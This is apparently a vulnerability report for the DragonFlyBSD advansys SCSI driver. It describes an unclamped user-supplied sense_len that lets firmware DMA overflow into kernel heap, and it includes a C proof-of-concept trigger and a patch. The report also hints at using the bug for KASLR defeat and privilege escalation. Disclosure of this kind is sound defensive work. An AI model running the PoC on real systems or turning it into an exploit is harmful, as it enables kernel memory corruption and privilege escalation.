• File: sys/dev/disk/advansys/advansys.c
• Lines: 559, 1185, 1186, 1345, 1355, 1365
• Severity: Medium
• CVSS: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U:C:H/I:H/A:H
• CWE: CWE-770 Allocation of Resources Without Limits or Throttling
• Confidence: likely

Summary

adv_execute_ccb copies the user-controlled csio->sense_len straight into scsiq.q1.sense_len without clamping, then later (advlib.c:1719-1720) the kernel hands the firmware sense_addr = sense_physbase + (q_no-1)*sizeof(struct scsi_sense_data) and tells it the buffer is sense_len bytes.

Each slot in the sense_buffers DMA allocation is exactly sizeof(struct scsi_sense_data) = 32 bytes (scsi_all.h:911-954, confirmed via SSD_FULL_SIZE), and the allocation is sized max_openings*32 bytes (advansys.c:1345,1365).

A user (operator group, /dev/passN) sets sense_len=255; on CHECK_CONDITION the firmware may legitimately DMA up to 252 bytes of descriptor sense into the 32-byte slot, overflowing into adjacent slots — and for q_no==max_openings, 220+ bytes past the entire DMA allocation into adjacent kernel heap.

This is the direct sibling of DF-1510 (adwcam.c), which fixed the same class with MIN(csio->sense_len, sizeof(acb->sense_data)) at adwcam.c:384.

Root cause

At advansys.c:559 inside adv_execute_ccb the line is simply scsiq.q1.sense_len = csio->sense_len; — csio->sense_len is a u_int8_t (cam_ccb.h:602) under full user control via CAMIOCOMMAND → xpt_merge_ccb (scsi_pass.c:546) with no validation anywhere in the path.

The completion-side copy at advansys.c:1185-1186 (ccb->csio.sense_data = adv->sense_buffers[q_no - 1];) is a struct copy bounded to 32 bytes, so it is safe — but the FIRMWARE-side write is bounded only by the unclamped sense_len we handed it.

adv_send_scsi_queue (advlib.c:1712-1720) computes sense_addr into the DMA region allocated at advansys.c:1345 (size sizeof(struct scsi_sense_data)*adv->max_openings, max 240*32=7680 bytes).

Compare with the corrected adwcam.c:384 acb->queue.sense_len = MIN(csio->sense_len, sizeof(acb->sense_data)); which clamps at the same boundary.

Threat

Local user in the operator group (default perms of /dev/passN per scsi_pass.c:279-280, common for backup/optical users) opens /dev/passN, issues CAMIOCOMMAND (scsi_pass.c:462) with a ccb_scsiio whose sense_len is set to 255 and func_code=XPT_SCSI_IO directed at any target that returns CHECK CONDITION with >32 bytes of sense data (descriptor-format sense, max 252 bytes per SPC-4 — common on modern SAS SSDs, tape libraries, and any target the attacker fully controls via scsi_target).

The firmware DMAs up to sense_len bytes into a 32-byte slot. For the last slot (q_no==max_openings), the DMA runs ~220 bytes past the sense_buffers allocation, corrupting adjacent kernel heap.

Impact: kernel heap corruption suitable for KASLR defeat and potentially for privilege escalation when chained with another primitive; deterministic DoS otherwise.

Confidence is "likely" rather than "certain" only because the exact byte count the firmware writes cannot be verified without AdvanSys microcode source — but the kernel is contractually wrong to tell firmware an unbounded length.

Exploit / PoC

Build and run on a DragonFlyBSD system that boots with an AdvanSys (adv(4)) HBA present and the user in the operator group.

/* sense_overflow.c — minimal repro of advansys sense-slot DMA overflow */
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <camlib.h>
#include <bus/cam/scsi/scsi_message.h>

int main(void) {
    int fd = open("/dev/pass0", O_RDWR);
    if (fd < 0) { perror("open /dev/pass0 (need operator group)"); return 1; }
    union ccb ccb;
    /* Request sense_len far larger than the 32-byte slot the kernel
       actually allocates per queue. */
    cam_fill_csio(&ccb.csio,
        /*retries*/0, /*cbfcnp*/NULL,
        CAM_DIR_NONE, /*tag_action*/0,
        /*data_ptr*/NULL, /*dxfer_len*/0,
        /*timeout*/5000,
        /*sense_len*/255,           /* <- the bug: clamped nowhere */
        sizeof(scsi_test_unit_ready), 0);
    scsi_test_unit_ready(&ccb.csio, 0, NULL, MSG_SIMPLE_Q_TAG,
        SSD_FULL_SIZE, 5000);
    if (ioctl(fd, CAMIOCOMMAND, &ccb) < 0) perror("CAMIOCOMMAND");
    /* On a target that returns descriptor sense (>32 bytes) with q_no
       near max_openings, the firmware DMAs past the sense_buffers
       allocation.  Watch dmesg for heap corruption / panic on the
       AdvanSys controller (adv0). */
    close(fd);
    return 0;
}

Build: cc sense_overflow.c -o sense_overflow -lcam. Run: ./sense_overflow.

Success criterion: against a target returning >32-byte descriptor sense (or a scsi_target-controlled initiator sending crafted 252-byte sense), dmesg shows adv0 corruption signs or kernel panic; repeated runs against the last-allocated queue slot demonstrate the overflow.

Without such a target the bug still exists in the source (the kernel told firmware the wrong length) but is silent — this is why severity is Medium, not High.

Recommended fix

Clamp sense_len to the actual per-slot capacity before handing it to the firmware, mirroring the proven pattern at adwcam.c:384 (DF-1510 fix) and sys/dev/disk/sym/sym_hipd.c:7210-7211.

--- a/sys/dev/disk/advansys/advansys.c
+++ b/sys/dev/disk/advansys/advansys.c
@@ -556,7 +556,10 @@ adv_execute_ccb(void *arg, bus_dma_segment_t *dm_segs,
    scsiq.q1.extra_bytes = 0;
    scsiq.q2.ccb_index = cinfo - adv->ccb_infos;
    scsiq.q2.target_ix = ADV_TIDLUN_TO_IX(ccb_h->target_id,
                          ccb_h->target_lun);
    scsiq.q2.flag = 0;
-   scsiq.q2.cdb_len = csio->cdb_len;
+   scsiq.q2.cdb_len = MIN(csio->cdb_len, IOCDBLEN);
+   /* Clamp sense_len to the actual per-slot DMA capacity so the
+    * firmware cannot DMA past sense_buffers[q_no-1]. */
+   scsiq.q1.sense_len = MIN(csio->sense_len, sizeof(struct scsi_sense_data));
    if ((ccb_h->flags & CAM_TAG_ACTION_VALID) != 0)
        scsiq.q2.tag_code = csio->tag_action;
    else

(The cdb_len line is shown together because DF-1547 fixes the same hunk.)

Related findings

• DF-1510 (twin, adwcam.c): autosense OOB read/write — same defect class.
• DF-1547 (sibling): missing cdb_len bounds check in same file.
• DF-1548 (sibling): divide-by-zero in XPT_CALC_GEOMETRY in same file.